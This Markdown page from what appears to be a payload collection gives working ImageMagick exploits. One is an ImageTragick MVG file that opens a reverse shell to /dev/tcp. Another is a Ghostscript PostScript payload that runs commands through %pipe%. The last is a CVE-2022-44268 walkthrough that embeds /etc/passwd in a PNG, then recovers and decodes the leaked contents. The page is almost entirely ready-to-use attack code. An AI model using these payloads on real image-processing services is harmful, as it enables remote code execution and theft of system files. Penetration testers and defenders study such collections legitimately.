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52 lines
1.3 KiB
Markdown
52 lines
1.3 KiB
Markdown
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# ImageMagick Exploits
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## ImageTragik Exploit v1
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Simple reverse shell
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```powershell
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push graphic-context
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encoding "UTF-8"
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viewbox 0 0 1 1
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affine 1 0 0 1 0 0
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push graphic-context
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image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'
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pop graphic-context
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pop graphic-context
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```
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## ImageTragik Exploit v2
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Simple `id` payload
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```powershell
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%!PS
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userdict /setpagedevice undef
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save
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legal
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{ null restore } stopped { pop } if
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{ legal } stopped { pop } if
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restore
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mark /OutputFile (%pipe%id) currentdevice putdeviceprops
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```
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then use `convert shellexec.jpeg whatever.gif`
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## CVE-2022-44268
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Information Disclosure: embedded the content of an arbitrary remote file
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* Generate the payload
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```ps1
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apt-get install pngcrush imagemagick exiftool exiv2 -y
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pngcrush -text a "profile" "/etc/passwd" exploit.png
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```
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* Trigger the exploit by uploading the file. The backend might use something like `convert pngout.png pngconverted.png`
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* Download the converted picture and inspect its content with: `identify -verbose pngconverted.png`
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* Convert the exfiltrated data: `python3 -c 'print(bytes.fromhex("HEX_FROM_FILE").decode("utf-8"))'`
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## Thanks to
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* [openwall.com/lists/oss-security/2018/08/21/2 by Tavis Ormandy](http://openwall.com/lists/oss-security/2018/08/21/2)
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